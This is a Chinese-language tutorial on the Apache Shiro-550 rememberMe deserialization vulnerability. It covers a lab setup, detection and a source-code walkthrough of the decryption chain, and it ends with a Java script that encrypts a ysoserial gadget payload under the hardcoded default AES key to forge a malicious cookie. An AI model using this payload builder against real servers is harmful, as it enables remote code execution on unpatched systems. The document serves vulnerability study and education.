Shiro反序列化漏洞
- 什么是shiro反序列化漏洞
- 环境搭建
- 漏洞判断
- rememberMe解密流程
- 代码分析
- 第一层解密
- 第二层解密
- 2.1层解密
- 2.2层解密
- exp
什么是shiro反序列化漏洞
Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护
Shiro-550反序列化漏洞(CVE-2016-4437) 漏洞简介 shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。 于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。
环境搭建
我们先去github下载shiro 1.2.4的工程代码,下载链接如下
shrio 1.2.4
然后解压到一个文件夹,并打开shiro-shiro-root-1.2.4/pom.xml
文件,并把jstl依赖
版本改为1.2
然后使用IDEA打开Maven项目,位置选择我们刚才解压的文件夹,最后点击确认
然后IDAE会自动下载依赖项,需要等待一段时间,如果感觉下的很慢,或者下载失败的话,可以将Maven的下载源更改为国内的
下载完成后我们编辑下运行配置,设置为Tomcat本地服务器运行,然后JRE选择我们Java8版本的
然后点击部署,工件选择samples-web:war
最后点击运行即可,出现下面界面即代表配置成功
漏洞判断
访问url/samples_web_war/login.jsp
,并登陆抓包
抓包完成后,我们回到网页退出下登陆,然后在repeater界面重放下,可以看到remenberme 字段,代表可能存在shiro反序列化漏洞
当发现cookie中带有rememberMe字段时,就会触发getRememberedPrincipals方法
该方法路径为 org\apache\shiro\mgt\AbstractRememberMeManager.java 390行 getRememberedPrincipals
rememberMe解密流程
在shiro进行反序列化前会经过三层解密,如上图所示
1.getRememberedSerializedIdentity(subjectContext) //base64解密
2.convertBytesToPrincipals(bytes, subjectContext) //密钥aes解密&反序列化解密
2.1 decrypt(bytes) 密钥解密
2.2 deserialize(bytes)反序列化解密
接下来便对这三层解密进行分析
代码分析
第一层解密
在我们Cookie中传入代码如下rememberMe字段
后会先调用getRememberedPrincipals方法
对其处理,其中参数subjectContext
便是我们传入的rememberMe字段
我们看下该方法的代码
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
代码中的subjectContext属性
便为rememberMe字段
的值,我们发现对其调用了getRememberedSerializedIdentity方法
,跟进查看该方法代码如下
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64); //关键代码
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
我们看到这句代码byte[] decoded = Base64.decode(base64);
,对我们rememberMe字段
进行base64解密,然后执行代码return decoded;
,返回解密结果
第二层解密
然后回到PrincipalCollection方法
,调用第二个解密,也就是调用convertBytesToPrincipals方法
对刚才base64解密的结果进行解密
principals = convertBytesToPrincipals(bytes, subjectContext);
我们查看下convertBytesToPrincipals方法
,代码如下
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
2.1层解密
首先会对传入的bytes
执行函数decrypt(bytes)
,进行默认的密钥解码
我们看下decrypt函数
的代码
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
发现是通过这行代码解密的ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
但是前提得满足if (cipherService != null)
cipherService属性
的值是通过代码CipherService cipherService = getCipherService();
获取的,我们查看下该方法
public CipherService getCipherService() {
return cipherService;
}
该方法会把属性cipherService
的值给该函数中的属性cipherService
并且进入if语句后是调用getDecryptionCipherKey()方法
获取的密钥进行解密
那现在有两个问题
属性cipherService
的值如何获得呢?getDecryptionCipherKey()方法
又是如何获取的密钥进行解密的呢?
先不着急,我们再看下getDecryptionCipherKey()方法
的代码
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
可以看到这里会返回全局变量decryptionCipherKey
,我们对它查看用法,查看是如何赋值的,用法代码如下
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
我们发现调用setDecryptionCipherKey方法
会对decryptionCipherKey属性
进行赋值,我们再对该方法进行查看用法,查看哪里调用了setDecryptionCipherKey方法
对其赋值
我们来到了setCipherKey方法
,发现调用这个方法可以对其赋值,进行逐步调用上面的那些函数从而赋值decryptionCipherKey属性
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
那我们看下是哪里调用了setCipherKey方法
,通过查看用法我们来到了AbstractRememberMeManager类
的构造方法
在构造方法当中便可以回答我们上面的两个问题
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService(); //赋值cipherService
setCipherKey(DEFAULT_CIPHER_KEY_BYTES); //赋值密钥decryptionCipherKey
}
我们看下默认的秘钥DEFAULT_CIPHER_KEY_BYTES
的定义,发现其为一个固定的全局属性,只有在shrio 1.2.4当中,密钥才是固定的,在更高版本中则为随机的
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
接下来便调用decrypt方法
中的以下代码进行秘钥解密
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
2.2层解密
在进行秘钥解密后,便会return解密结果,然后回到convertBytesToPrincipals方法
,对其结果调用方法deserialize(bytes)
,进行最后一步反序列化解密,反序列化漏洞便出现在deserialize
方法代码里面
我们查看下deserialize
方法代码的代码
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}
可以看到deserialize
方法会继续调用getSerializer().deserialize
方法处理刚才的秘钥解密数据,
我们先看下getSerializer()
方法是怎么定义的,右键查看定义,代码如下
public Serializer<PrincipalCollection> getSerializer() {
return serializer;
}
可以看到返回了全局变量serializer
,我们看下该属性的定义,再次来到了构造方法
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
发现serializer属性
被赋值为了DefaultSerializer对象
,也就是说getSerializer().deserialize
实际上是调用了DefaultSerializer对象
中的deserialize方法
,我们查看其代码
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
}
然后便会调用代码T deserialized = (T) ois.readObject();
,对我们传入的payload经过3层解密后进行反序列化,然后代码执行
exp
我们使用那条cc链还需要根据具体的java版本以及相关的库版本相关,加密生成rememberMe字段的脚本如下
paylod.txt中存放我们用yso生成的cc链字节码
package org.vulhub.shirodemo;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("./cs"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//key可使用脚本爆破
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
try (FileWriter fileWriter = new FileWriter("./paylod.txt")) {
fileWriter.append(ciphertext.toString());
}
}
}